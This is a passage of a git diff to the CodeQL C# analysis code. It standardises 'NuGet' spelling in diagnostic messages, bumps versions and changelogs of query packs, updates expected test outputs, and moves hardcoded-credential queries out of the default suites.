IsFeedReachable(feed, initialTimeout, tryCount)); if (!allFeedsReachable) { - logger.LogWarning("Found unreachable Nuget feed in C# analysis with build-mode 'none'. This may cause missing dependencies in the analysis."); + logger.LogWarning("Found unreachable NuGet feed in C# analysis with build-mode 'none'. This may cause missing dependencies in the analysis."); diagnosticsWriter.AddEntry(new DiagnosticMessage( Language.CSharp, "buildless/unreachable-feed", - "Found unreachable Nuget feed in C# analysis with build-mode 'none'", + "Found unreachable NuGet feed in C# analysis with build-mode 'none'", visibility: new DiagnosticMessage.TspVisibility(statusPage: true, cliSummaryTable: true, telemetry: true), - markdownMessage: "Found unreachable Nuget feed in C# analysis with build-mode 'none'. This may cause missing dependencies in the analysis.", + markdownMessage: "Found unreachable NuGet feed in C# analysis with build-mode 'none'. This may cause missing dependencies in the analysis.", severity: DiagnosticMessage.TspSeverity.Note )); } - compilationInfoContainer.CompilationInfos.Add(("All Nuget feeds reachable", allFeedsReachable ? "1" : "0")); + compilationInfoContainer.CompilationInfos.Add(("All NuGet feeds reachable", allFeedsReachable ? "1" : "0")); return allFeedsReachable; } @@ -808,11 +808,11 @@ private IEnumerable GetFeeds(Func> getNugetFeeds) if (explicitFeeds.Count > 0) { - logger.LogInfo($"Found {explicitFeeds.Count} Nuget feeds in nuget.config files: {string.Join(", ", explicitFeeds.OrderBy(f => f))}"); + logger.LogInfo($"Found {explicitFeeds.Count} NuGet feeds in nuget.config files: {string.Join(", ", explicitFeeds.OrderBy(f => f))}"); } else { - logger.LogDebug("No Nuget feeds found in nuget.config files."); + logger.LogDebug("No NuGet feeds found in nuget.config files."); } // todo: this could be improved. @@ -844,7 +844,7 @@ private IEnumerable GetFeeds(Func> getNugetFeeds) allFeeds = GetFeeds(() => dotnet.GetNugetFeedsFromFolder(this.fileProvider.SourceDir.FullName)).ToHashSet(); } - logger.LogInfo($"Found {allFeeds.Count} Nuget feeds (with inherited ones) in nuget.config files: {string.Join(", ", allFeeds.OrderBy(f => f))}"); + logger.LogInfo($"Found {allFeeds.Count} NuGet feeds (with inherited ones) in nuget.config files: {string.Join(", ", allFeeds.OrderBy(f => f))}"); return (explicitFeeds, allFeeds); } diff --git a/csharp/ql/campaigns/Solorigate/lib/CHANGELOG.md b/csharp/ql/campaigns/Solorigate/lib/CHANGELOG.md index f177ccf403e3..127bb19bbc64 100644 --- a/csharp/ql/campaigns/Solorigate/lib/CHANGELOG.md +++ b/csharp/ql/campaigns/Solorigate/lib/CHANGELOG.md @@ -1,3 +1,11 @@ +## 1.7.42 + +No user-facing changes. + +## 1.7.41 + +No user-facing changes. + ## 1.7.40 No user-facing changes. diff --git a/csharp/ql/campaigns/Solorigate/lib/change-notes/released/1.7.41.md b/csharp/ql/campaigns/Solorigate/lib/change-notes/released/1.7.41.md new file mode 100644 index 000000000000..b99dc457ba95 --- /dev/null +++ b/csharp/ql/campaigns/Solorigate/lib/change-notes/released/1.7.41.md @@ -0,0 +1,3 @@ +## 1.7.41 + +No user-facing changes. diff --git a/csharp/ql/campaigns/Solorigate/lib/change-notes/released/1.7.42.md b/csharp/ql/campaigns/Solorigate/lib/change-notes/released/1.7.42.md new file mode 100644 index 000000000000..baf988260210 --- /dev/null +++ b/csharp/ql/campaigns/Solorigate/lib/change-notes/released/1.7.42.md @@ -0,0 +1,3 @@ +## 1.7.42 + +No user-facing changes. diff --git a/csharp/ql/campaigns/Solorigate/lib/codeql-pack.release.yml b/csharp/ql/campaigns/Solorigate/lib/codeql-pack.release.yml index 47c67a0a4d32..8317cee0ddb3 100644 --- a/csharp/ql/campaigns/Solorigate/lib/codeql-pack.release.yml +++ b/csharp/ql/campaigns/Solorigate/lib/codeql-pack.release.yml @@ -1,2 +1,2 @@ --- -lastReleaseVersion: 1.7.40 +lastReleaseVersion: 1.7.42 diff --git a/csharp/ql/campaigns/Solorigate/lib/qlpack.yml b/csharp/ql/campaigns/Solorigate/lib/qlpack.yml index cce389c29633..212ac56d39d6 100644 --- a/csharp/ql/campaigns/Solorigate/lib/qlpack.yml +++ b/csharp/ql/campaigns/Solorigate/lib/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/csharp-solorigate-all -version: 1.7.40 +version: 1.7.42 groups: - csharp - solorigate diff --git a/csharp/ql/campaigns/Solorigate/src/CHANGELOG.md b/csharp/ql/campaigns/Solorigate/src/CHANGELOG.md index f177ccf403e3..127bb19bbc64 100644 --- a/csharp/ql/campaigns/Solorigate/src/CHANGELOG.md +++ b/csharp/ql/campaigns/Solorigate/src/CHANGELOG.md @@ -1,3 +1,11 @@ +## 1.7.42 + +No user-facing changes. + +## 1.7.41 + +No user-facing changes. + ## 1.7.40 No user-facing changes. diff --git a/csharp/ql/campaigns/Solorigate/src/change-notes/released/1.7.41.md b/csharp/ql/campaigns/Solorigate/src/change-notes/released/1.7.41.md new file mode 100644 index 000000000000..b99dc457ba95 --- /dev/null +++ b/csharp/ql/campaigns/Solorigate/src/change-notes/released/1.7.41.md @@ -0,0 +1,3 @@ +## 1.7.41 + +No user-facing changes. diff --git a/csharp/ql/campaigns/Solorigate/src/change-notes/released/1.7.42.md b/csharp/ql/campaigns/Solorigate/src/change-notes/released/1.7.42.md new file mode 100644 index 000000000000..baf988260210 --- /dev/null +++ b/csharp/ql/campaigns/Solorigate/src/change-notes/released/1.7.42.md @@ -0,0 +1,3 @@ +## 1.7.42 + +No user-facing changes. diff --git a/csharp/ql/campaigns/Solorigate/src/codeql-pack.release.yml b/csharp/ql/campaigns/Solorigate/src/codeql-pack.release.yml index 47c67a0a4d32..8317cee0ddb3 100644 --- a/csharp/ql/campaigns/Solorigate/src/codeql-pack.release.yml +++ b/csharp/ql/campaigns/Solorigate/src/codeql-pack.release.yml @@ -1,2 +1,2 @@ --- -lastReleaseVersion: 1.7.40 +lastReleaseVersion: 1.7.42 diff --git a/csharp/ql/campaigns/Solorigate/src/qlpack.yml b/csharp/ql/campaigns/Solorigate/src/qlpack.yml index 978778f73a57..16bf35874035 100644 --- a/csharp/ql/campaigns/Solorigate/src/qlpack.yml +++ b/csharp/ql/campaigns/Solorigate/src/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/csharp-solorigate-queries -version: 1.7.40 +version: 1.7.42 groups: - csharp - solorigate diff --git a/csharp/ql/integration-tests/all-platforms/binlog/diagnostics.expected b/csharp/ql/integration-tests/all-platforms/binlog/diagnostics.expected index 1a10ae9ded54..700aa9a0469b 100644 --- a/csharp/ql/integration-tests/all-platforms/binlog/diagnostics.expected +++ b/csharp/ql/integration-tests/all-platforms/binlog/diagnostics.expected @@ -13,7 +13,7 @@ } } { - "markdownMessage": "C# was extracted with build-mode set to 'none'. This means that all C# source in the working directory will be scanned, with build tools, such as Nuget and Dotnet CLIs, only contributing information about external dependencies.", + "markdownMessage": "C# was extracted with build-mode set to 'none'. This means that all C# source in the working directory will be scanned, with build tools, such as NuGet and dotnet CLIs, only contributing information about external dependencies.", "severity": "note", "source": { "extractorName": "csharp", diff --git a/csharp/ql/integration-tests/all-platforms/binlog_multiple/diagnostics.expected b/csharp/ql/integration-tests/all-platforms/binlog_multiple/diagnostics.expected index 1a10ae9ded54..700aa9a0469b 100644 --- a/csharp/ql/integration-tests/all-platforms/binlog_multiple/diagnostics.expected +++ b/csharp/ql/integration-tests/all-platforms/binlog_multiple/diagnostics.expected @@ -13,7 +13,7 @@ } } { - "markdownMessage": "C# was extracted with build-mode set to 'none'. This means that all C# source in the working directory will be scanned, with build tools, such as Nuget and Dotnet CLIs, only contributing information about external dependencies.", + "markdownMessage": "C# was extracted with build-mode set to 'none'. This means that all C# source in the working directory will be scanned, with build tools, such as NuGet and dotnet CLIs, only contributing information about external dependencies.", "severity": "note", "source": { "extractorName": "csharp", diff --git a/csharp/ql/integration-tests/all-platforms/blazor_build_mode_none/BlazorTest/global.json b/csharp/ql/integration-tests/all-platforms/blazor_build_mode_none/BlazorTest/global.json index 7a0e39d71fa7..548d37935ed8 100644 --- a/csharp/ql/integration-tests/all-platforms/blazor_build_mode_none/BlazorTest/global.json +++ b/csharp/ql/integration-tests/all-platforms/blazor_build_mode_none/BlazorTest/global.json @@ -1,5 +1,5 @@ { "sdk": { - "version": "9.0.100" + "version": "9.0.300" } } \ No newline at end of file diff --git a/csharp/ql/integration-tests/all-platforms/blazor_build_mode_none/XSS.expected b/csharp/ql/integration-tests/all-platforms/blazor_build_mode_none/XSS.expected index 64ab3e186a1f..f20ca29ee85e 100644 --- a/csharp/ql/integration-tests/all-platforms/blazor_build_mode_none/XSS.expected +++ b/csharp/ql/integration-tests/all-platforms/blazor_build_mode_none/XSS.expected @@ -3,8 +3,8 @@ | BlazorTest/Components/Pages/TestPage.razor:11:48:11:55 | access to property UrlParam | BlazorTest/Components/Pages/TestPage.razor:11:48:11:55 | access to property UrlParam | BlazorTest/Components/Pages/TestPage.razor:11:48:11:55 | access to property UrlParam | $@ flows to here and is written to HTML or JavaScript. | BlazorTest/Components/Pages/TestPage.razor:11:48:11:55 | access to property UrlParam | User-provided value | | BlazorTest/Components/Pages/TestPage.razor:20:60:20:69 | access to property QueryParam | BlazorTest/Components/Pages/TestPage.razor:20:60:20:69 | access to property QueryParam | BlazorTest/Components/Pages/TestPage.razor:20:60:20:69 | access to property QueryParam | $@ flows to here and is written to HTML or JavaScript. | BlazorTest/Components/Pages/TestPage.razor:20:60:20:69 | access to property QueryParam | User-provided value | edges -| BlazorTest/Components/Pages/TestPage.razor:85:23:85:32 | access to property QueryParam : String | test-db/working/razor/AC613014E59A413B9538FF8068364499/Microsoft.CodeAnalysis.Razor.Compiler/Microsoft.NET.Sdk.Razor.SourceGenerators.RazorSourceGenerator/Components_Pages_TestPage_razor.g.cs:569:16:577:13 | call to method TypeCheck : String | provenance | Src:MaD:2 MaD:3 | -| test-db/working/razor/AC613014E59A413B9538FF8068364499/Microsoft.CodeAnalysis.Razor.Compiler/Microsoft.NET.Sdk.Razor.SourceGenerators.RazorSourceGenerator/Components_Pages_TestPage_razor.g.cs:569:16:577:13 | call to method TypeCheck : String | BlazorTest/Components/MyOutput.razor:5:53:5:57 | access to property Value | provenance | Sink:MaD:1 | +| BlazorTest/Components/Pages/TestPage.razor:85:23:85:32 | access to property QueryParam : String | test-db/working/razor/AC613014E59A413B9538FF8068364499/Microsoft.CodeAnalysis.Razor.Compiler/Microsoft.NET.Sdk.Razor.SourceGenerators.RazorSourceGenerator/Components_Pages_TestPage_razor.g.cs:553:16:561:13 | call to method TypeCheck : String | provenance | Src:MaD:2 MaD:3 | +| test-db/working/razor/AC613014E59A413B9538FF8068364499/Microsoft.CodeAnalysis.Razor.Compiler/Microsoft.NET.Sdk.Razor.SourceGenerators.RazorSourceGenerator/Components_Pages_TestPage_razor.g.cs:553:16:561:13 | call to method TypeCheck : String | BlazorTest/Components/MyOutput.razor:5:53:5:57 | access to property Value | provenance | Sink:MaD:1 | models | 1 | Sink: Microsoft.AspNetCore.Components; MarkupString; false; MarkupString; (System.String); ; Argument[0]; html-injection; manual | | 2 | Source: Microsoft.AspNetCore.Components; SupplyParameterFromQueryAttribute; false; ; ; Attribute.Getter; ReturnValue; remote; manual | @@ -14,5 +14,5 @@ nodes | BlazorTest/Components/Pages/TestPage.razor:11:48:11:55 | access to property UrlParam | semmle.label | access to property UrlParam | | BlazorTest/Components/Pages/TestPage.razor:20:60:20:69 | access to property QueryParam | semmle.label | access to property QueryParam | | BlazorTest/Components/Pages/TestPage.razor:85:23:85:32 | access to property QueryParam : String | semmle.label | access to property QueryParam : String | -| test-db/working/razor/AC613014E59A413B9538FF8068364499/Microsoft.CodeAnalysis.Razor.Compiler/Microsoft.NET.Sdk.Razor.SourceGenerators.RazorSourceGenerator/Components_Pages_TestPage_razor.g.cs:569:16:577:13 | call to method TypeCheck : String | semmle.label | call to method TypeCheck : String | +| test-db/working/razor/AC613014E59A413B9538FF8068364499/Microsoft.CodeAnalysis.Razor.Compiler/Microsoft.NET.Sdk.Razor.SourceGenerators.RazorSourceGenerator/Components_Pages_TestPage_razor.g.cs:553:16:561:13 | call to method TypeCheck : String | semmle.label | call to method TypeCheck : String | subpaths diff --git a/csharp/ql/integration-tests/all-platforms/standalone/diagnostics.expected b/csharp/ql/integration-tests/all-platforms/standalone/diagnostics.expected index 19390ed2af26..f53cd8e15987 100644 --- a/csharp/ql/integration-tests/all-platforms/standalone/diagnostics.expected +++ b/csharp/ql/integration-tests/all-platforms/standalone/diagnostics.expected @@ -13,7 +13,7 @@ } } { - "markdownMessage": "C# was extracted with build-mode set to 'none'. This means that all C# source in the working directory will be scanned, with build tools, such as Nuget and Dotnet CLIs, only contributing information about external dependencies.", + "markdownMessage": "C# was extracted with build-mode set to 'none'. This means that all C# source in the working directory will be scanned, with build tools, such as NuGet and dotnet CLIs, only contributing information about external dependencies.", "severity": "note", "source": { "extractorName": "csharp", diff --git a/csharp/ql/integration-tests/all-platforms/standalone_buildless_option/diagnostics.expected b/csharp/ql/integration-tests/all-platforms/standalone_buildless_option/diagnostics.expected index 0b7107530f36..56fcaea92fbc 100644 --- a/csharp/ql/integration-tests/all-platforms/standalone_buildless_option/diagnostics.expected +++ b/csharp/ql/integration-tests/all-platforms/standalone_buildless_option/diagnostics.expected @@ -13,7 +13,7 @@ } } { - "markdownMessage": "C# was extracted with build-mode set to 'none'. This means that all C# source in the working directory will be scanned, with build tools, such as Nuget and Dotnet CLIs, only contributing information about external dependencies.", + "markdownMessage": "C# was extracted with build-mode set to 'none'. This means that all C# source in the working directory will be scanned, with build tools, such as NuGet and dotnet CLIs, only contributing information about external dependencies.", "severity": "note", "source": { "extractorName": "csharp", diff --git a/csharp/ql/integration-tests/all-platforms/standalone_failed/diagnostics.expected b/csharp/ql/integration-tests/all-platforms/standalone_failed/diagnostics.expected index 87266426bdac..cb8337c5eb86 100644 --- a/csharp/ql/integration-tests/all-platforms/standalone_failed/diagnostics.expected +++ b/csharp/ql/integration-tests/all-platforms/standalone_failed/diagnostics.expected @@ -13,7 +13,7 @@ } } { - "markdownMessage": "C# was extracted with build-mode set to 'none'. This means that all C# source in the working directory will be scanned, with build tools, such as Nuget and Dotnet CLIs, only contributing information about external dependencies.", + "markdownMessage": "C# was extracted with build-mode set to 'none'. This means that all C# source in the working directory will be scanned, with build tools, such as NuGet and dotnet CLIs, only contributing information about external dependencies.", "severity": "note", "source": { "extractorName": "csharp", diff --git a/csharp/ql/integration-tests/all-platforms/standalone_resx/CompilationInfo.expected b/csharp/ql/integration-tests/all-platforms/standalone_resx/CompilationInfo.expected index ee27a1cd9120..dfab1016a6b2 100644 --- a/csharp/ql/integration-tests/all-platforms/standalone_resx/CompilationInfo.expected +++ b/csharp/ql/integration-tests/all-platforms/standalone_resx/CompilationInfo.expected @@ -1,10 +1,10 @@ -| All Nuget feeds reachable | 1.0 | +| All NuGet feeds reachable | 1.0 | | Failed project restore with package source error | 0.0 | | Failed solution restore with package source error | 0.0 | -| Inherited Nuget feed count | 1.0 | +| Inherited NuGet feed count | 1.0 | | NuGet feed responsiveness checked | 1.0 | | Project files on filesystem | 1.0 | -| Reachable fallback Nuget feed count | 1.0 | +| Reachable fallback NuGet feed count | 1.0 | | Resource extraction enabled | 1.0 | | Restored .NET framework variants | 1.0 | | Restored projects through solution files | 0.0 | diff --git a/csharp/ql/integration-tests/all-platforms/standalone_winforms/CompilationInfo.expected b/csharp/ql/integration-tests/all-platforms/standalone_winforms/CompilationInfo.expected index cf2e7f2db702..6b06566033c3 100644 --- a/csharp/ql/integration-tests/all-platforms/standalone_winforms/CompilationInfo.expected +++ b/csharp/ql/integration-tests/all-platforms/standalone_winforms/CompilationInfo.expected @@ -1,10 +1,10 @@ -| All Nuget feeds reachable | 1.0 | +| All NuGet feeds reachable | 1.0 | | Failed project restore with package source error | 0.0 | | Failed solution restore with package source error | 0.0 | -| Inherited Nuget feed count | 1.0 | +| Inherited NuGet feed count | 1.0 | | NuGet feed responsiveness checked | 1.0 | | Project files on filesystem | 1.0 | -| Reachable fallback Nuget feed count | 1.0 | +| Reachable fallback NuGet feed count | 1.0 | | Resource extraction enabled | 0.0 | | Restored .NET framework variants | 1.0 | | Restored projects through solution files | 0.0 | diff --git a/csharp/ql/integration-tests/posix/query-suite/csharp-code-quality.qls.expected b/csharp/ql/integration-tests/posix/query-suite/csharp-code-quality.qls.expected index dc3791621c3e..14934899e0d8 100644 --- a/csharp/ql/integration-tests/posix/query-suite/csharp-code-quality.qls.expected +++ b/csharp/ql/integration-tests/posix/query-suite/csharp-code-quality.qls.expected @@ -1,7 +1,9 @@ +ql/csharp/ql/src/API Abuse/CallToGCCollect.ql ql/csharp/ql/src/API Abuse/FormatInvalid.ql ql/csharp/ql/src/API Abuse/NoDisposeCallOnLocalIDisposable.ql ql/csharp/ql/src/Bad Practices/Control-Flow/ConstantCondition.ql ql/csharp/ql/src/Dead Code/DeadStoreOfLocal.ql +ql/csharp/ql/src/Language Abuse/MissedReadonlyOpportunity.ql ql/csharp/ql/src/Likely Bugs/Collections/ContainerLengthCmpOffByOne.ql ql/csharp/ql/src/Likely Bugs/Collections/ContainerSizeCmpZero.ql ql/csharp/ql/src/Likely Bugs/DangerousNonShortCircuitLogic.ql diff --git a/csharp/ql/integration-tests/posix/query-suite/csharp-security-and-quality.qls.expected b/csharp/ql/integration-tests/posix/query-suite/csharp-security-and-quality.qls.expected index fc0fa2403f96..d4d145986c1b 100644 --- a/csharp/ql/integration-tests/posix/query-suite/csharp-security-and-quality.qls.expected +++ b/csharp/ql/integration-tests/posix/query-suite/csharp-security-and-quality.qls.expected @@ -38,7 +38,6 @@ ql/csharp/ql/src/Concurrency/SynchSetUnsynchGet.ql ql/csharp/ql/src/Concurrency/UnsafeLazyInitialization.ql ql/csharp/ql/src/Concurrency/UnsynchronizedStaticAccess.ql ql/csharp/ql/src/Configuration/EmptyPasswordInConfigurationFile.ql -ql/csharp/ql/src/Configuration/PasswordInConfigurationFile.ql ql/csharp/ql/src/Dead Code/DeadStoreOfLocal.ql ql/csharp/ql/src/Diagnostics/CompilerError.ql ql/csharp/ql/src/Diagnostics/CompilerMessage.ql @@ -146,8 +145,6 @@ ql/csharp/ql/src/Security Features/CWE-639/InsecureDirectObjectReference.ql ql/csharp/ql/src/Security Features/CWE-643/XPathInjection.ql ql/csharp/ql/src/Security Features/CWE-730/ReDoS.ql ql/csharp/ql/src/Security Features/CWE-730/RegexInjection.ql -ql/csharp/ql/src/Security Features/CWE-798/HardcodedConnectionString.ql -ql/csharp/ql/src/Security Features/CWE-798/HardcodedCredentials.ql ql/csharp/ql/src/Security Features/CWE-807/ConditionalBypass.ql ql/csharp/ql/src/Security Features/CookieWithOverlyBroadDomain.ql ql/csharp/ql/src/Security Features/CookieWithOverlyBroadPath.ql diff --git a/csharp/ql/integration-tests/posix/query-suite/csharp-security-extended.qls.expected b/csharp/ql/integration-tests/posix/query-suite/csharp-security-extended.qls.expected index 69f47536e683..48f7ad304a01 100644 --- a/csharp/ql/integration-tests/posix/query-suite/csharp-security-extended.qls.expected +++ b/csharp/ql/integration-tests/posix/query-suite/csharp-security-extended.qls.expected @@ -1,5 +1,4 @@ ql/csharp/ql/src/Configuration/EmptyPasswordInConfigurationFile.ql -ql/csharp/ql/src/Configuration/PasswordInConfigurationFile.ql ql/csharp/ql/src/Diagnostics/CompilerError.ql ql/csharp/ql/src/Diagnostics/CompilerMessage.ql ql/csharp/ql/src/Diagnostics/DiagnosticExtractionErrors.ql @@ -49,8 +48,6 @@ ql/csharp/ql/src/Security Features/CWE-639/InsecureDirectObjectReference.ql ql/csharp/ql/src/Security Features/CWE-643/XPathInjection.ql ql/csharp/ql/src/Security Features/CWE-730/ReDoS.ql ql/csharp/ql/src/Security Features/CWE-730/RegexInjection.ql -ql/csharp/ql/src/Security Features/CWE-798/HardcodedConnectionString.ql -ql/csharp/ql/src/Security Features/CWE-798/HardcodedCredentials.ql ql/csharp/ql/src/Security Features/CWE-807/ConditionalBypass.ql ql/csharp/ql/src/Security Features/CookieWithOverlyBroadDomain.ql ql/csharp/ql/src/Security Features/CookieWithOverlyBroadPath.ql diff --git a/csharp/ql/integration-tests/posix/query-suite/not_included_in_qls.expected b/csharp/ql/integration-tests/posix/query-suite/not_included_in_qls.expected index 9604a4aed64e..dff6574dddd0 100644 --- a/csharp/ql/integration-tests/posix/query-suite/not_included_in_qls.expected +++ b/csharp/ql/integration-tests/posix/query-suite/not_included_in_qls.expected @@ -26,6 +26,7 @@ ql/csharp/ql/src/Bad Practices/Naming Conventions/DefaultControlNames.ql ql/csharp/ql/src/Bad Practices/Naming Conventions/VariableNameTooShort.ql ql/csharp/ql/src/Bad Practices/UseOfHtmlInputHidden.ql ql/csharp/ql/src/Bad Practices/UseOfSystemOutputStream.ql +ql/csharp/ql/src/Configuration/PasswordInConfigurationFile.ql ql/csharp/ql/src/Dead Code/DeadRefTypes.ql ql/csharp/ql/src/Dead Code/NonAssignedFields.ql ql/csharp/ql/src/Dead Code/UnusedField.ql @@ -89,6 +90,8 @@ ql/csharp/ql/src/Security Features/CWE-321/HardcodedSymmetricEncryptionKey.ql ql/csharp/ql/src/Security Features/CWE-327/DontInstallRootCert.ql ql/csharp/ql/src/Security Features/CWE-502/UnsafeDeserialization.ql ql/csharp/ql/src/Security Features/CWE-611/UseXmlSecureResolver.ql +ql/csharp/ql/src/Security Features/CWE-798/HardcodedConnectionString.ql +ql/csharp/ql/src/Security Features/CWE-798/HardcodedCredentials.ql ql/csharp/ql/src/Security Features/CWE-838/InappropriateEncoding.ql ql/csharp/ql/src/Useless code/PointlessForwardingMethod.ql ql/csharp/ql/src/definitions.ql diff --git a/csharp/ql/integration-tests/posix/standalone_dependencies_nuget_config_error/CompilationInfo.expected b/csharp/ql/integration-tests/posix/standalone_dependencies_nuget_config_error/CompilationInfo.expected index 53ebd1016fb7..3a74bcbd56ed 100644 --- a/csharp/ql/integration-tests/posix/standalone_dependencies_nuget_config_error/CompilationInfo.expected +++ b/csharp/ql/integration-tests/posix/standalone_dependencies_nuget_config_error/CompilationInfo.expected @@ -1,10 +1,10 @@ -| All Nuget feeds reachable | 1.0 | +| All NuGet feeds reachable | 1.0 | | Failed project restore with package source error | 1.0 | | Failed solution restore with package source error | 0.0 | | Fallback nuget restore | 1.0 | | NuGet feed responsiveness checked | 1.0 | | Project files on filesystem | 1.0 | -| Reachable fallback Nuget feed count | 1.0 | +| Reachable fallback NuGet feed count | 1.0 | | Resolved assembly conflicts | 7.0 | | Resource extraction enabled | 0.0 | | Restored .NET framework variants | 0.0 | diff --git a/csharp/ql/integration-tests/posix/standalone_dependencies_nuget_config_error_timeout/CompilationInfo.expected b/csharp/ql/integration-tests/posix/standalone_dependencies_nuget_config_error_timeout/CompilationInfo.expected index 777d615d99b9..5a7abcf543c8 100644 --- a/csharp/ql/integration-tests/posix/standalone_dependencies_nuget_config_error_timeout/CompilationInfo.expected +++ b/csharp/ql/integration-tests/posix/standalone_dependencies_nuget_config_error_timeout/CompilationInfo.expected @@ -1,9 +1,9 @@ -| All Nuget feeds reachable | 0.0 | +| All NuGet feeds reachable | 0.0 | | Fallback nuget restore | 1.0 | -| Inherited Nuget feed count | 1.0 | +| Inherited NuGet feed count | 1.0 | | NuGet feed responsiveness checked | 1.0 | | Project files on filesystem | 1.0 | -| Reachable fallback Nuget feed count | 1.0 | +| Reachable fallback NuGet feed count | 1.0 | | Resolved assembly conflicts | 7.0 | | Resource extraction enabled | 0.0 | | Restored .NET framework variants | 0.0 | diff --git a/csharp/ql/integration-tests/posix/standalone_dependencies_nuget_config_error_timeout/diagnostics.expected b/csharp/ql/integration-tests/posix/standalone_dependencies_nuget_config_error_timeout/diagnostics.expected index 865b03f23486..bbd2081f4554 100644 --- a/csharp/ql/integration-tests/posix/standalone_dependencies_nuget_config_error_timeout/diagnostics.expected +++ b/csharp/ql/integration-tests/posix/standalone_dependencies_nuget_config_error_timeout/diagnostics.expected @@ -13,7 +13,7 @@ } } { - "markdownMessage": "C# was extracted with build-mode set to 'none'. This means that all C# source in the working directory will be scanned, with build tools, such as Nuget and Dotnet CLIs, only contributing information about external dependencies.", + "markdownMessage": "C# was extracted with build-mode set to 'none'. This means that all C# source in the working directory will be scanned, with build tools, such as NuGet and dotnet CLIs, only contributing information about external dependencies.", "severity": "note", "source": { "extractorName": "csharp", @@ -27,12 +27,12 @@ } } { - "markdownMessage": "Found unreachable Nuget feed in C# analysis with build-mode 'none'. This may cause missing dependencies in the analysis.", + "markdownMessage": "Found unreachable NuGet feed in C# analysis with build-mode 'none'. This may cause missing dependencies in the analysis.", "severity": "note", "source": { "extractorName": "csharp", "id": "csharp/autobuilder/buildless/unreachable-feed", - "name": "Found unreachable Nuget feed in C# analysis with build-mode 'none'" + "name": "Found unreachable NuGet feed in C# analysis with build-mode 'none'" }, "visibility": { "cliSummaryTable": true, diff --git a/csharp/ql/integration-tests/posix/standalone_dependencies_nuget_config_error_timeout/test.py b/csharp/ql/integration-tests/posix/standalone_dependencies_nuget_config_error_timeout/test.py index f94325769a1e..9dcc8952b173 100644 --- a/csharp/ql/integration-tests/posix/standalone_dependencies_nuget_config_error_timeout/test.py +++ b/csharp/ql/integration-tests/posix/standalone_dependencies_nuget_config_error_timeout/test.py @@ -4,7 +4,7 @@ @runs_on.posix def test(codeql, csharp): - # os.environ["CODEQL_EXTRACTOR_CSHARP_BUILDLESS_NUGET_FEEDS_CHECK"] = "true" # Nuget feed check is enabled by default + # os.environ["CODEQL_EXTRACTOR_CSHARP_BUILDLESS_NUGET_FEEDS_CHECK"] = "true" # NuGet feed check is enabled by default os.environ["CODEQL_EXTRACTOR_CSHARP_BUILDLESS_NUGET_FEEDS_CHECK_TIMEOUT"] = ( "1" # 1ms, the GET request should fail with such short timeout ) diff --git a/csharp/ql/integration-tests/posix/standalone_dependencies_nuget_config_fallback/CompilationInfo.expected b/csharp/ql/integration-tests/posix/standalone_dependencies_nuget_config_fallback/CompilationInfo.expected index 9e869e1a6fb1..c53a17f0300d 100644 --- a/csharp/ql/integration-tests/posix/standalone_dependencies_nuget_config_fallback/CompilationInfo.expected +++ b/csharp/ql/integration-tests/posix/standalone_dependencies_nuget_config_fallback/CompilationInfo.expected @@ -1,8 +1,8 @@ -| All Nuget feeds reachable | 0.0 | +| All NuGet feeds reachable | 0.0 | | Fallback nuget restore | 1.0 | | NuGet feed responsiveness checked | 1.0 | | Project files on filesystem | 1.0 | -| Reachable fallback Nuget feed count | 2.0 | +| Reachable fallback NuGet feed count | 2.0 | | Resolved assembly conflicts | 7.0 | | Resource extraction enabled | 0.0 | | Restored .NET framework variants | 0.0 | diff --git a/csharp/ql/integration-tests/posix/standalone_dependencies_nuget_config_fallback/diagnostics.expected b/csharp/ql/integration-tests/posix/standalone_dependencies_nuget_config_fallback/diagnostics.expected index 865b03f23486..bbd2081f4554 100644 --- a/csharp/ql/integration-tests/posix/standalone_dependencies_nuget_config_fallback/diagnostics.expected +++ b/csharp/ql/integration-tests/posix/standalone_dependencies_nuget_config_fallback/diagnostics.expected @@ -13,7 +13,7 @@ } } { - "markdownMessage": "C# was extracted with build-mode set to 'none'. This means that all C# source in the working directory will be scanned, with build tools, such as Nuget and Dotnet CLIs, only contributing information about external dependencies.", + "markdownMessage": "C# was extracted with build-mode set to 'none'. This means that all C# source in the working directory will be scanned, with build tools, such as NuGet and dotnet CLIs, only contributing information about external dependencies.", "severity": "note", "source": { "extractorName": "csharp", @@ -27,12 +27,12 @@ } } { - "markdownMessage": "Found unreachable Nuget feed in C# analysis with build-mode 'none'. This may cause missing dependencies in the analysis.", + "markdownMessage": "Found unreachable NuGet feed in C# analysis with build-mode 'none'. This may cause missing dependencies in the analysis.", "severity": "note", "source": { "extractorName": "csharp", "id": "csharp/autobuilder/buildless/unreachable-feed", - "name": "Found unreachable Nuget feed in C# analysis with build-mode 'none'" + "name": "Found unreachable NuGet feed in C# analysis with build-mode 'none'" }, "visibility": { "cliSummaryTable": true, diff --git a/csharp/ql/integration-tests/posix/standalone_dependencies_nuget_config_fallback/test.py b/csharp/ql/integration-tests/posix/standalone_dependencies_nuget_config_fallback/test.py index 7f4bf019d00a..56bd28a23291 100644 --- a/csharp/ql/integration-tests/posix/standalone_dependencies_nuget_config_fallback/test.py +++ b/csharp/ql/integration-tests/posix/standalone_dependencies_nuget_config_fallback/test.py @@ -5,7 +5,7 @@ @runs_on.posix def test(codeql, csharp): - # os.environ["CODEQL_EXTRACTOR_CSHARP_BUILDLESS_NUGET_FEEDS_CHECK"] = "true" # Nuget feed check is enabled by default + # os.environ["CODEQL_EXTRACTOR_CSHARP_BUILDLESS_NUGET_FEEDS_CHECK"] = "true" # NuGet feed check is enabled by default os.environ["CODEQL_EXTRACTOR_CSHARP_BUILDLESS_NUGET_FEEDS_CHECK_TIMEOUT"] = ( "1" # 1ms, the GET request should fail with such short timeout ) diff --git a/csharp/ql/lib/CHANGELOG.md b/csharp/ql/lib/CHANGELOG.md index 47503fa222ed..5eeedc6f77be 100644 --- a/csharp/ql/lib/CHANGELOG.md +++ b/csharp/ql/lib/CHANGELOG.md @@ -1,3 +1,13 @@ +## 5.1.8 + +No user-facing changes. + +## 5.1.7 + +### Minor Analysis Improvements + +* The generated Models as Data (MaD) models for .NET 9 Runtime have been updated and are now more precise (due to a recent model generator improvement). + ## 5.1.6 No user-facing changes. diff --git a/csharp/ql/lib/change-notes/released/5.1.7.md b/csharp/ql/lib/change-notes/released/5.1.7.md new file mode 100644 index 000000000000..2cc0418ad62c --- /dev/null +++ b/csharp/ql/lib/change-notes/released/5.1.7.md @@ -0,0 +1,5 @@ +## 5.1.7 + +### Minor Analysis Improvements + +* The generated Models as Data (MaD) models for .NET 9 Runtime have been updated and are now more precise (due to a recent model generator improvement). diff --git 